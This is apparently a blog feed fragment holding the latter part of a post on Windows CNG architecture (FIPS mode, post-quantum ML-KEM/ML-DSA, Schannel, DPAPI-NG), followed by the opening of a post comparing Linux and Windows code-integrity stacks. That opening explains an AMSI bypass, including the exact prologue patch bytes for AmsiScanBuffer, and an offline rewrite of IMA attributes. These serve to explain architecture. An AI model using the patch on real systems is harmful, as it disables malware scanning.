&lt;p&gt;The toggle is a runtime gate, not a code path. The underlying modules -- &lt;code&gt;bcryptprimitives.dll&lt;/code&gt; and &lt;code&gt;cng.sys&lt;/code&gt; [@learn-microsoft-com-140-windows11] -- are the same modules either way. They have been submitted to the Cryptographic Module Validation Program [@csrc-nist-gov-modules-search] and validated against the FIPS 140-2 standard [@csrc-nist-gov-2-final]. The toggle simply tells those modules that the calling environment expects FIPS-mode behavior, and the modules then refuse the non-approved algorithms.&lt;/p&gt;

A US federal certification program (Federal Information Processing Standard 140) that subjects a cryptographic module to laboratory testing and NIST review. Validated modules receive a public CMVP certificate. Federal agencies, FedRAMP/CMMC contractors, and most regulated industries can only use validated modules in approved configurations. FIPS 140-2 and the newer FIPS 140-3 differ mainly in test methodology and the standard&apos;s own ISO/IEC alignment.
&lt;p&gt;Two current Windows 11 certificate numbers are worth memorizing. CMVP certificate #4825 covers &lt;code&gt;bcryptprimitives.dll&lt;/code&gt; [@csrc-nist-gov-certificate-4825]. CMVP certificate #4766 covers &lt;code&gt;cng.sys&lt;/code&gt; [@csrc-nist-gov-certificate-4766], the kernel-mode primitives. Both are FIPS 140-2 Level 1 modules with a sunset date of September 21, 2026 under the CMVP&apos;s transition rules. Microsoft maintains the per-version FIPS validation portal for Windows 11 [@learn-microsoft-com-140-windows11], which lists the active certificates per build and the algorithms each one covers.&lt;/p&gt;
&lt;p&gt;The cadence mismatch is the open story here. Windows ships H1 and H2 feature updates roughly every six months. CMVP validation of a new build&apos;s primitives DLL and kernel module typically takes 12 to 24 months. Federal customers, FedRAMP-bound cloud tenants, and CMMC contractors cannot run a Windows build that does not have an active FIPS certificate covering its cryptographic modules. Microsoft submits 140-3 evidence for newer modules, but as of mid-2026 no public 140-3 certificate is visible on CMVP for the &lt;code&gt;bcryptprimitives.dll&lt;/code&gt; shipping in Windows 11 24H2.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Setting &lt;code&gt;FIPSAlgorithmPolicy\Enabled = 1&lt;/code&gt; is necessary for FIPS compliance, but not sufficient. The validated configuration also requires that Windows be a covered build (with an active certificate), that you avoid third-party crypto libraries that have not been validated, and that algorithm choices stay inside the per-certificate Approved Mode list. A Windows version without an active certificate is not in compliance even with the toggle on.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The toggle also does not change the SymCrypt implementations. AES-GCM is still AES-GCM. What changes is which APIs the caller is allowed to reach. From the application&apos;s point of view, the symptom of FIPS mode is &lt;code&gt;STATUS_NOT_SUPPORTED&lt;/code&gt; on &lt;code&gt;BCryptOpenAlgorithmProvider(L&quot;RC4&quot;, ...)&lt;/code&gt;. From an auditor&apos;s point of view, the symptom is the absence of any disallowed primitive call in the binary.&lt;/p&gt;
&lt;h2&gt;7. The post-quantum slide: ML-KEM, ML-DSA, and the agility test&lt;/h2&gt;
&lt;p&gt;The piece of CNG that earns its &quot;agility&quot; billing is the post-quantum transition.&lt;/p&gt;
&lt;p&gt;NIST opened the Post-Quantum Cryptography standardization process in 2016 and ran four rounds of public evaluation [@csrc-nist-gov-quantum-cryptography] before issuing the first final standards in August 2024. FIPS 203 standardizes ML-KEM (formerly CRYSTALS-Kyber), a module-lattice key encapsulation mechanism [@nvlpubs-nist-gov-fips-nistfips203pdf]. FIPS 204 standardizes ML-DSA (formerly CRYSTALS-Dilithium), a module-lattice digital signature algorithm [@csrc-nist-gov-204-final]. Microsoft Research had been working on lattice cryptography for years [@microsoft-com-quantum-cryptography], and the public CNG implementations followed quickly: Windows 11 24H2 ships ML-KEM and ML-DSA as first-class CNG algorithms.&lt;/p&gt;
&lt;p&gt;Here is the surprising part: the CNG API surface did not change. Adding ML-KEM was a matter of registering new algorithm identifier strings -- &lt;code&gt;BCRYPT_MLKEM_ALGORITHM&lt;/code&gt;, the parameter sets &lt;code&gt;BCRYPT_MLKEM_PARAMETER_SET_512&lt;/code&gt;, &lt;code&gt;BCRYPT_MLKEM_PARAMETER_SET_768&lt;/code&gt;, &lt;code&gt;BCRYPT_MLKEM_PARAMETER_SET_1024&lt;/code&gt; -- in the CNG algorithm-identifier registry [@learn-microsoft-com-algorithm-identifiers]. The opening dance for an ML-KEM key encapsulation looks exactly like the opening dance for an ECDH key agreement, except for the string.&lt;/p&gt;
&lt;p&gt;{`
// Mirrors the BCrypt pattern shown in the Microsoft sample
// &quot;Using ML-KEM with CNG for Key Exchange&quot;&lt;/p&gt;
&lt;p&gt;const hAlg = BCryptOpenAlgorithmProvider(&quot;ML-KEM&quot;, null, 0);&lt;/p&gt;
&lt;p&gt;const hKeyPair = BCryptGenerateKeyPair(hAlg, 0, 0);
BCryptSetProperty(hKeyPair, &quot;ParameterSetName&quot;, &quot;ML-KEM-768&quot;);
BCryptFinalizeKeyPair(hKeyPair, 0);&lt;/p&gt;
&lt;p&gt;const pubBlob   = BCryptExportKey(hKeyPair, &quot;MLKEMPUBLICBLOB&quot;);&lt;/p&gt;
&lt;p&gt;// Sender side: encapsulate to recipient&apos;s public key
const recipPub  = BCryptImportKeyPair(hAlg, &quot;MLKEMPUBLICBLOB&quot;, pubBlob);
const { ciphertext, sharedSecret: ssA } = BCryptEncapsulate(recipPub);&lt;/p&gt;
&lt;p&gt;// Recipient side: decapsulate with the matching private key
const ssB = BCryptDecapsulate(hKeyPair, ciphertext);&lt;/p&gt;
&lt;p&gt;// ssA === ssB
`}&lt;/p&gt;
&lt;p&gt;That code is structurally identical to a 2007-era ECDH session. The string changes, the blob format changes, and the wire-format sizes change considerably. ML-KEM ciphertexts at the 512, 768, and 1024 parameter sets are 768, 1088, and 1568 bytes respectively, with public keys of 800, 1184, and 1568 bytes per FIPS 203 [@csrc-nist-gov-203-final]. ML-DSA signatures at parameter sets 44, 65, and 87 are 2420, 3309, and 4627 bytes per FIPS 204 [@csrc-nist-gov-204-final]. For comparison, an ECDSA P-256 signature is 64 bytes and an X25519 public key is 32 bytes. The PQC blowup is roughly an order of magnitude, and that has knock-on consequences for every protocol that carries certificates or handshakes on the wire.&lt;/p&gt;

The reason ML-KEM matters before any large quantum computer exists is the harvest-now, decrypt-later attack: an adversary recording today&apos;s TLS sessions can decrypt them years from now if the long-lived key-exchange material was only protected by RSA or ECDH. Long-lived secrets transmitted over the wire today -- medical records, source code, government cables -- have a confidentiality lifetime measured in decades. The motivation for hybrid PQ key exchange is that you cannot un-record traffic.
&lt;p&gt;The wire-format problem is why most TLS-PQ deployments use hybrid groups: classical X25519 combined with ML-KEM-768, with the shared secret derived from both. If either component breaks, the other one still holds. The IETF draft &lt;code&gt;draft-kwiatkowski-tls-ecdhe-mlkem&lt;/code&gt; [@learn-microsoft-com-mlkem-examples] defines the &lt;code&gt;X25519MLKEM768&lt;/code&gt; group with IANA codepoint 0x11EC, and Chrome, Cloudflare, and AWS shipped support in production in 2024. OpenJDK JEP 527 [@openjdk-org-jeps-527] tracks the equivalent work for Java&apos;s TLS stack. Schannel in Windows 11 24H2 can negotiate ML-KEM through CNG, but Microsoft has not publicly committed to a default-on hybrid group at the Schannel layer as of mid-2026.&lt;/p&gt;

On a Windows 11 24H2 machine, the following PowerShell snippet asks CNG for its registered algorithms:&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;[System.Security.Cryptography.CngAlgorithm]::new(&quot;ML-KEM&quot;)
Get-ChildItem &apos;HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography\Configuration\Local\Default\0010&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first line forces a CngAlgorithm lookup. The second walks the configuration store. If the keys &lt;code&gt;ML-KEM&lt;/code&gt; and &lt;code&gt;ML-DSA&lt;/code&gt; appear, your kernel-mode and user-mode primitives are 24H2-current.
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The bigger structural lesson is that two decades of &quot;cryptographic agility&quot; claims actually paid off. The PQC transition required a 24H2 update, not a CNG redesign.&lt;/p&gt;
&lt;h2&gt;8. Where CNG actually shows up: TLS, BitLocker, and friends&lt;/h2&gt;
&lt;p&gt;The argument for an OS-level cryptographic API stands or falls on what runs on top of it. Every modern Windows component that touches cryptography is a CNG consumer.&lt;/p&gt;

The Windows implementation of TLS and DTLS, exposed through the SSPI (Security Support Provider Interface). Schannel handles the TLS protocol state machine, certificate validation, and cipher-suite negotiation, then delegates the actual cryptography to BCrypt and NCrypt. The cipher-suite priority list and protocol-version controls are configured per Windows version, often via Group Policy.
&lt;p&gt;&lt;strong&gt;Schannel&lt;/strong&gt;, the Windows TLS stack, sits directly above CNG. The Schannel cipher-suite list is its own per-version object, documented at the Schannel cipher-suites portal [@learn-microsoft-com-in-schannel]. For TLS 1.2 and earlier, the order is administered via the registry key &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\Cryptography\Configuration\Local\SSL\00010002&lt;/code&gt; (the &quot;Functions&quot; value) or the Group Policy &quot;SSL Cipher Suite Order.&quot; For TLS 1.3, the three suites (&lt;code&gt;TLS_AES_256_GCM_SHA384&lt;/code&gt;, &lt;code&gt;TLS_AES_128_GCM_SHA256&lt;/code&gt;, &lt;code&gt;TLS_CHACHA20_POLY1305_SHA256&lt;/code&gt;) are not user-orderable; Schannel hard-codes the priority. TLS 1.0 and TLS 1.1 are off by default in Windows 11 23H2 and later, per Microsoft&apos;s August 2023 deprecation announcement [@techcommunity-microsoft-com-windows-3887947].&lt;/p&gt;

flowchart TD
    App[&quot;Application -- (WinHTTP, HttpClient, browser, ...)&quot;]
    SSPI[&quot;SSPI / CredSSP layer&quot;]
    Schannel[&quot;Schannel -- protocol state machine -- cipher-suite negotiation&quot;]
    BCrypt[&quot;BCrypt -- AES-GCM, SHA-2/3, HKDF, RNG&quot;]
    NCrypt[&quot;NCrypt -- server cert private key sign -- client cert auth&quot;]
    KSP[&quot;KSP (Software / TPM / -- Smart Card / HSM)&quot;]&lt;pre&gt;&lt;code&gt;App --&amp;gt; SSPI
SSPI --&amp;gt; Schannel
Schannel --&amp;gt; BCrypt
Schannel --&amp;gt; NCrypt
NCrypt --&amp;gt; KSP
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;BitLocker&lt;/strong&gt; is the canonical NCrypt-and-TPM consumer. The Full Volume Encryption Key (FVEK) is generated and stored encrypted on disk. The Volume Master Key (VMK) wraps the FVEK and is itself wrapped by one or more &quot;protectors&quot;: the TPM, a recovery password, a startup PIN, a USB startup key. The TPM protector is an NCrypt-style operation against the Platform Crypto Provider, sealed to a set of Platform Configuration Register (PCR) measurements that capture the boot state. If anything in the early boot chain changes, the PCRs do not match, the TPM refuses to unwrap the VMK, and BitLocker falls back to recovery.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Authenticode&lt;/strong&gt;, the signature format on Windows binaries, is a NCrypt-driven workflow at signing time and a BCrypt-driven workflow at verification time. The Windows kernel verifies driver signatures, the Windows loader verifies binary signatures, and &lt;code&gt;WinVerifyTrust&lt;/code&gt; exposes the same machinery to applications. The hash algorithm in modern Authenticode is SHA-256, which means every signed executable on the system has a SHA-256 digest computed by BCrypt at some point during validation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Credential Guard&lt;/strong&gt; runs the LSA isolated process (&lt;code&gt;lsaiso.exe&lt;/code&gt;) inside the Virtualization-Based Security trustlet boundary on systems with VBS enabled. Credential Guard does not replace CNG; it relocates the Microsoft Software KSP into a stronger isolation boundary. NTLM password hashes and Kerberos TGT session keys live inside that boundary, accessible only through the standard CNG calls dispatched into the trustlet.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Windows Hello for Business&lt;/strong&gt; uses the Platform Crypto Provider as the home for the user&apos;s gesture-protected authentication key. The biometric (or PIN) unlocks a key in the TPM; that key signs an attestation that is consumed by Azure AD or AD FS. The biometric never leaves the device.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;DPAPI and DPAPI-NG&lt;/strong&gt; are themselves built on CNG, and they deserve their own section because they are the easiest place to see how the layering pays off.&lt;/p&gt;

Schannel, BitLocker, EFS, Authenticode, Credential Guard, Windows Hello, DPAPI-NG, IPsec, SMB encryption, Kerberos PKINIT -- every modern Windows component is a CNG consumer.
&lt;h2&gt;9. DPAPI-NG: a worked example of the NCrypt model&lt;/h2&gt;
&lt;p&gt;The original Data Protection API (DPAPI), shipped with Windows 2000, was a per-user secret-protection mechanism. An application called &lt;code&gt;CryptProtectData&lt;/code&gt;, passed a blob of secret data, and got back an encrypted blob that only the same user on the same machine could later unwrap. The mechanism was anchored in the user&apos;s logon credentials, with a master key per user and a complex backup mechanism for password resets. It worked. It also locked the secret to a single machine, which became a problem the moment users started living on more than one device.&lt;/p&gt;
&lt;p&gt;DPAPI-NG, introduced in Windows 8 and Windows Server 2012, is the cloud-era rebuild. The CNG DPAPI documentation [@learn-microsoft-com-cng-dpapi] describes the three calls: &lt;code&gt;NCryptCreateProtectionDescriptor&lt;/code&gt;, &lt;code&gt;NCryptProtectSecret&lt;/code&gt;, and &lt;code&gt;NCryptUnprotectSecret&lt;/code&gt;. The protection descriptor is a small string that names who can unwrap the data. Examples include &lt;code&gt;SID=S-1-5-21-...&lt;/code&gt; for an Active Directory user or group, &lt;code&gt;LOCAL=user&lt;/code&gt; for the legacy single-user behavior, &lt;code&gt;WEBCREDENTIALS=...&lt;/code&gt; for a credential vault entry, and combinations connected by &lt;code&gt;AND&lt;/code&gt; or &lt;code&gt;OR&lt;/code&gt; operators.&lt;/p&gt;

flowchart LR
    Plain[&quot;plaintext secret&quot;] --&amp;gt; Protect[&quot;NCryptProtectSecret(descriptor, plain)&quot;]
    Desc[&quot;descriptor: -- SID=group GUID -- OR -- LOCAL=user&quot;] --&amp;gt; Protect
    Protect --&amp;gt; Blob[&quot;opaque blob&quot;]
    Blob --&amp;gt; Unprotect[&quot;NCryptUnprotectSecret(blob)&quot;]
    Unprotect -.-&amp;gt;|&quot;resolves descriptor -- via AD DC backup keys&quot;| AD[&quot;Active Directory DC -- (DPAPI backup keys)&quot;]
    Unprotect --&amp;gt; Out[&quot;plaintext secret -- on any authorized machine&quot;]
&lt;p&gt;The architectural win is that DPAPI-NG is just NCrypt with a particular protection-descriptor schema. Any KSP that can serve the key referenced by the descriptor can satisfy the unwrap. In an Active-Directory-joined environment, the AD domain controller&apos;s DPAPI backup keys allow any machine where the user (or any member of the named group) authenticates to recover the secret. The application that called &lt;code&gt;NCryptProtectSecret&lt;/code&gt; does not need to know about backup keys, replication topology, or recovery flows. It calls NCrypt; the router and the relevant KSP do the rest.&lt;/p&gt;
&lt;p&gt;This is the design payoff of the two-tier model. A new key-management capability (cross-machine recovery via AD-stored backup keys) becomes a new descriptor type, not a new API. The Windows team has used the same descriptor extensibility to add web-credential descriptors, container-bound descriptors, and the descriptors that protect Group Managed Service Account passwords. Each one is a private key-management concern; none of them broke the public API.The DPAPI-NG descriptor language is small enough to read in one sitting and powerful enough to express &quot;any member of this AD group, on any machine where that member can authenticate.&quot; That is the cloud-era access-control story that the original DPAPI never had.&lt;/p&gt;
&lt;h2&gt;10. Engineering takeaways: choosing the right tool&lt;/h2&gt;
&lt;p&gt;The decision tree for CNG usage in production code is short.&lt;/p&gt;

flowchart TD
    Q1{&quot;Need persistent -- private key?&quot;}
    Q1 -- No --&amp;gt; B[&quot;BCrypt -- (ephemeral key, pseudo-handle)&quot;]
    Q1 -- Yes --&amp;gt; Q2{&quot;Threat model?&quot;}
    Q2 -- &quot;Machine identity, -- hardware-rooted&quot; --&amp;gt; P[&quot;Microsoft Platform -- Crypto Provider -- (TPM / Pluton)&quot;]
    Q2 -- &quot;User-bound PKI, -- removable hardware&quot; --&amp;gt; S[&quot;Microsoft Smart Card KSP -- (PIV / virtual smart card)&quot;]
    Q2 -- &quot;High signing rate, -- regulated custody&quot; --&amp;gt; H[&quot;Third-party HSM KSP -- (YubiHSM / Luna / nShield)&quot;]
    Q2 -- &quot;Default, -- portable, fast&quot; --&amp;gt; SW[&quot;Microsoft Software KSP&quot;]
&lt;p&gt;For algorithm choice in mid-2026, the defensible defaults look like this. Symmetric encryption: ChaCha20-Poly1305 or AES-256-GCM. Hashing: SHA-256 or SHA-3 family. Signatures: ECDSA P-256 or P-384 today, with ML-DSA-65 in the back pocket for the inevitable hybrid transition. Key encapsulation: X25519 today, with X25519+ML-KEM-768 hybrid as soon as your peers support it. RSA-2048 only for legacy interoperability. RC4, 3DES, and SHA-1 only behind explicit deprecation policy, and only for verification of historical artifacts.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The hardest thing about CNG is not learning the API. It is choosing the right KSP. That single decision -- where the private key actually lives -- determines almost everything about your threat model, your throughput, your compliance posture, and your operational complexity.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A few engineering rules survive in any setting.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Do not put persistent keys in BCrypt.&lt;/strong&gt; Every BCrypt key handle dies with the process. The architectural separation exists for a reason. If the key needs to survive a reboot, it belongs in NCrypt under a named KSP.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Do not assume the Software KSP.&lt;/strong&gt; Code that calls &lt;code&gt;NCryptOpenStorageProvider(NULL)&lt;/code&gt; ends up with whatever the default is. On a server with an HSM KSP configured as the default, this might be what you want; on a developer workstation, it might be the Microsoft Software KSP. Be explicit. Pass the name string. Test the negative case where the KSP you named is not registered.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Audit which KSP your certificates actually use.&lt;/strong&gt; A certificate enrolled with the Platform Crypto Provider behaves identically to a certificate enrolled with the Software KSP from &lt;code&gt;certutil&lt;/code&gt;&apos;s point of view. The difference is invisible until you ask. Use &lt;code&gt;certutil -store -v My&lt;/code&gt; to dump certificate properties, and look for the provider field.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Treat FIPS mode as a deployment fact, not a development toggle.&lt;/strong&gt; Code that works fine on a developer workstation can break in surprising ways on a FIPS-enabled production server. Run your CI on a FIPS-toggled image periodically. Catch the &lt;code&gt;STATUS_NOT_SUPPORTED&lt;/code&gt; returns before customers do.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Watch the PQC roadmap.&lt;/strong&gt; The ML-KEM and ML-DSA primitives are in 24H2. Hybrid TLS in Schannel is not on by default at the OS level as of mid-2026 (the most recent Microsoft public posture in the cipher-suite documentation does not yet list a default-on hybrid group), but downstream protocol updates will come. Code that uses the BCrypt and NCrypt patterns shown here picks up the new algorithms with a string change.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The single most useful CNG diagnostic command on a modern Windows system is &lt;code&gt;certutil -csptest&lt;/code&gt;, which enumerates registered providers and the algorithms each one claims to support. Run it before you suspect a configuration drift, not after.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The story of CNG is the story of two architectural bets that paid off. The first bet was that algorithms would keep arriving, so the API should be a registry of strings rather than a hard-coded set of functions. The second bet was that key storage was a separate concern from algorithm implementation, so the same primitives could run against software, TPM, smart cards, and HSMs without changing the application. In 2007 those bets looked over-engineered. In 2026, with ML-KEM shipping behind the same &lt;code&gt;BCryptEncapsulate&lt;/code&gt; call that an ECDH consumer would have used, they look like exactly the right design.&lt;/p&gt;
&lt;h2&gt;Frequently asked questions&lt;/h2&gt;

No. Microsoft&apos;s BCrypt is the `bcrypt.h` primitives header in CNG, providing AES, SHA, HMAC, RNG, and related primitives. The Provos-Mazieres bcrypt is a password-hashing function based on the Blowfish cipher, with no connection to Windows. The naming collision is unfortunate but firmly entrenched. When in doubt, BCrypt with a capital &quot;B&quot; usually means Microsoft&apos;s CNG header; lowercase bcrypt usually means the password-hashing function.

On Windows, yes. .NET&apos;s `System.Security.Cryptography` namespace wraps CNG directly: `RSACng`, `ECDsaCng`, `AesGcm`, `SHA256.HashData()`, `CngKey`. Go, Rust, and Python bindings exist as third-party crates and packages (the Rust `windows` crate exposes both BCrypt and NCrypt, for example). OpenSSL on Windows does not transparently use CNG; you need the `openssl-cng` provider or direct CNG calls if you want the OS-validated primitives to do the work.

Both can do RSA, ECDSA, and (in 24H2) ML-DSA signatures. The difference is lifetime. BCrypt key handles are ephemeral: they live in your process and disappear when it exits. NCrypt keys are persisted in a KSP and survive process exit, reboots, and (for AD-replicated descriptors via DPAPI-NG) the loss of a single machine. Use BCrypt for one-shot ephemeral operations (signing a single message, deriving a session key); use NCrypt for anything with a certificate attached or anything that has to be around tomorrow.

Possibly, depending on what algorithms it calls. Setting `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\FIPSAlgorithmPolicy\Enabled = 1` causes CNG to refuse RC4, MD5, SHA-1 for new signatures, and a handful of other non-approved algorithms. Anything that relied on those returns `STATUS_NOT_SUPPORTED`. The fix is to switch to approved algorithms (AES, SHA-2 family, RSA, ECDSA, ML-KEM, ML-DSA), not to disable the toggle. The toggle is also necessary but not sufficient for FIPS compliance: you also need a Windows build with an active CMVP certificate covering the cryptographic modules.

As of mid-2026, the public Schannel documentation does not list a default-on hybrid group like `X25519MLKEM768`. The ML-KEM primitive is in CNG in 24H2, and Schannel can use it through the standard cipher-suite negotiation, but Microsoft has not publicly committed to enabling a hybrid group out of the box at the OS level. Chrome, Cloudflare, and AWS have already shipped hybrid PQ TLS in production at the application layer. Expect Schannel to follow once IETF standardization stabilizes and CMVP validation of the new modules catches up.

For a certificate in the user or machine store, run `certutil -store -v My` (or `My` replaced with the store name) and look at the &quot;Provider&quot; field of each certificate. `Microsoft Software Key Storage Provider` means the key is on disk under `%APPDATA%` or `%ALLUSERSPROFILE%`. `Microsoft Platform Crypto Provider` means the key lives inside the TPM (or Pluton). `Microsoft Smart Card Key Storage Provider` means the key is on a card. Third-party HSM KSPs will show the vendor&apos;s provider name. For a freshly-created key via `NCryptCreatePersistedKey`, the provider name you passed to `NCryptOpenStorageProvider` is the source of truth.

Because private keys do not live in the calling process. For the Microsoft Software KSP, key material lives in the LSA key-isolation process (`lsaiso.exe` under VBS, `lsass.exe` otherwise), and every operation that touches private bits has to cross that process boundary. The cost is around 30 to 100 microseconds per call. That is acceptable for signing or key derivation (operations that happen a handful of times per session); it would be punishing for bulk symmetric encryption. The architectural answer is to keep bulk crypto in BCrypt and let only the persistent-key operations pay the LRPC cost.
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;cng-architecture-bcrypt-ncrypt-ksps-and-windows-crypto&quot; keyTerms={[
  { term: &quot;CAPI (Cryptographic Application Programming Interface)&quot;, definition: &quot;The original Windows cryptographic API (1998-onward). Plug-in unit was the CSP. Superseded by CNG starting in 2007 but still present for backwards compatibility.&quot; },
  { term: &quot;CNG (Cryptography API: Next Generation)&quot;, definition: &quot;The Windows cryptographic API since Vista (2007). Two-tier split: BCrypt for primitives, NCrypt for key storage. The basis for all modern Windows cryptography.&quot; },
  { term: &quot;CSP (Cryptographic Service Provider)&quot;, definition: &quot;The CAPI-era plug-in unit. Monolithic DLL bundling algorithms, key storage, and FIPS posture.&quot; },
  { term: &quot;KSP (Key Storage Provider)&quot;, definition: &quot;The CNG-era plug-in unit for persistent key storage. Microsoft ships four; third parties ship many more. Selected by name string passed to NCryptOpenStorageProvider.&quot; },
  { term: &quot;Microsoft Software Key Storage Provider&quot;, definition: &quot;The default KSP. Stores DPAPI-wrapped keys on disk and dispatches operations through the LSA key-isolation process via LRPC.&quot; },
  { term: &quot;Microsoft Platform Crypto Provider&quot;, definition: &quot;The TPM-and-Pluton-backed KSP. Keys are generated and used inside the TPM chip; private bits never leave the silicon.&quot; },
  { term: &quot;TPM key attestation&quot;, definition: &quot;A three-key chain (EK -&amp;gt; AIK -&amp;gt; application key) that lets a CA verify a key was generated inside a real TPM. Supported by Active Directory Certificate Services since Windows Server 2012 R2.&quot; },
  { term: &quot;FIPS 140&quot;, definition: &quot;US federal certification program for cryptographic modules. Validated modules receive a public CMVP certificate. Windows 11&apos;s bcryptprimitives.dll holds CMVP certificate #4825, cng.sys holds #4766.&quot; },
  { term: &quot;ML-KEM (FIPS 203)&quot;, definition: &quot;Module-Lattice Key Encapsulation Mechanism. The NIST-standardized post-quantum KEM, formerly known as CRYSTALS-Kyber. Shipped in Windows 11 24H2.&quot; },
  { term: &quot;ML-DSA (FIPS 204)&quot;, definition: &quot;Module-Lattice Digital Signature Algorithm. The NIST-standardized post-quantum signature scheme, formerly known as CRYSTALS-Dilithium. Shipped in Windows 11 24H2.&quot; },
  { term: &quot;DPAPI-NG&quot;, definition: &quot;The CNG-era rebuild of the original Data Protection API. Uses NCrypt protection descriptors to bind protected data to AD principals (users, groups, web credentials) rather than to a single machine.&quot; },
  { term: &quot;SymCrypt&quot;, definition: &quot;Microsoft&apos;s open-source cryptographic implementation library. The actual workhorse behind BCrypt and NCrypt since Windows 10 version 1703 (2017).&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>windows</category><category>cryptography</category><category>cng</category><category>tpm</category><category>pqc</category><category>fips</category><category>ksp</category><category>security</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>Two Routes to Code Integrity: Linux IMA + AppArmor vs Windows WDAC + AMSI</title><link>https://paragmali.com/blog/two-routes-to-code-integrity-linux-ima--apparmor-vs-windows-/</link><guid isPermaLink="true">https://paragmali.com/blog/two-routes-to-code-integrity-linux-ima--apparmor-vs-windows-/</guid><description>Linux and Windows answer one question -- &quot;is this code allowed to run?&quot; -- with very different machinery. Where the verifier lives matters more than how strong it is.</description><pubDate>Sat, 16 May 2026 00:00:00 GMT</pubDate><content:encoded>
Linux and Windows have spent fifteen years answering the same question -- &quot;is this code allowed to run?&quot; -- and arrived at radically different architectures. Linux composes half a dozen narrow kernel modules (IMA, EVM, AppArmor, SELinux, fs-verity, IPE) plus a userspace daemon (`fapolicyd`); Windows ships one integrated suite (App Control + HVCI + AMSI + Smart App Control). Both stacks shipped their v1 with the **check in the wrong place**, and the architectural pivots that fixed it -- EVM&apos;s HMAC-sealed xattrs, HVCI&apos;s hypervisor-isolated verifier, IPE&apos;s property-based decisions -- are the breakthrough lesson of this comparison. Crypto is solved. Trust-boundary protection and policy expressiveness are not, and Rice&apos;s theorem says they never fully will be.
&lt;h2&gt;1. Two bypasses, same architectural shape&lt;/h2&gt;
&lt;p&gt;On a Windows 11 desktop, an attacker with a PowerShell session under their control can blind Microsoft Defender to every script that session ever evaluates by overwriting six bytes inside one function in &lt;code&gt;amsi.dll&lt;/code&gt;. The &lt;a href=&quot;https://paragmali.com/blog/amsi-the-pre-execution-window-defender/&quot; rel=&quot;noopener&quot;&gt;Antimalware Scan Interface&lt;/a&gt;, the in-process bridge between scripting hosts and the registered antivirus product, dutifully reports &quot;clean&quot; on every subsequent buffer because the prologue of &lt;code&gt;AmsiScanBuffer&lt;/code&gt; has been patched to &lt;code&gt;mov eax, 0; ret&lt;/code&gt; (&lt;code&gt;B8 00 00 00 00 C3&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The interface ships exactly as Microsoft documents it, and the function still has the signature in MSDN [@learn-microsoft-com-amsi-amsiscanbuffer]: the attacker did not need to break anything. They needed only to write into the address space they already owned.&lt;/p&gt;
&lt;p&gt;On a Linux server, a different attacker with offline access to the disk -- recovered from a stolen laptop, a forensics image, a hostile cloud-provider snapshot -- mounts the filesystem and rewrites a system binary together with the file&apos;s &lt;code&gt;security.ima&lt;/code&gt; extended attribute. When the box boots, the kernel&apos;s Integrity Measurement Architecture hashes the binary at exec time, compares the hash to the value stored in &lt;code&gt;security.ima&lt;/code&gt;, sees a match, and allows execution. Without the Extended Verification Module, IMA appraisal has no defence against this offline-rewrite attack [@lwn-net-articles-394170] -- the reference hash is sitting next to the file the attacker just replaced.&lt;/p&gt;
&lt;p&gt;Both operating systems claim fail-closed code-integrity enforcement. Both lose to a single architectural mistake about &lt;strong&gt;where the check runs&lt;/strong&gt;. The mistakes are different in detail and identical in shape: the verifier is reachable by the attacker. On Windows the attacker shares the script host&apos;s address space with the scanner. On Linux the attacker shares the on-disk container with the reference hash.&lt;/p&gt;
&lt;p&gt;This article exists to make that symmetry visible. The two stacks reached their 2026 form by very different routes -- Linux composes six narrow Linux Security Modules and one userspace daemon, Windows ships one tightly-coupled product line -- but the breakthroughs on each side answered the same question: how do you move the verifier out of reach?&lt;/p&gt;
&lt;p&gt;The Linux answer was EVM (HMAC the extended attributes that IMA depends on) and IPE (decide on immutable file properties rather than file contents). The Windows answer was HVCI (lift the kernel-mode code-integrity check into a hypervisor-isolated secure kernel). The names are different. The lesson is one.&lt;/p&gt;
&lt;p&gt;Why did Linux and Windows arrive at such different architectures in the first place? That story starts in an IBM research lab in 2003.&lt;/p&gt;
&lt;h2&gt;2. The question both operating systems are trying to answer&lt;/h2&gt;
&lt;p&gt;Both lineages exist to answer one question -- &quot;is this code allowed to run?&quot; -- but they put the check in completely different places. Before we can compare them honestly, we need a shared vocabulary for the three layers any production code-integrity stack must cover.&lt;/p&gt;
&lt;p&gt;The first layer is &lt;strong&gt;code integrity&lt;/strong&gt; itself, often abbreviated CI: a gate on the file&apos;s content or its signer. Did this &lt;code&gt;.so&lt;/code&gt; come from a package my distribution signed? Does this &lt;code&gt;.exe&lt;/code&gt; match an &lt;a href=&quot;https://paragmali.com/blog/authenticode-and-catalog-files-the-crypto-foundation-under-w/&quot; rel=&quot;noopener&quot;&gt;Authenticode chain&lt;/a&gt; rooted in a publisher my policy trusts? The answer is binary. The hook fires before the process loads the bytes.&lt;/p&gt;
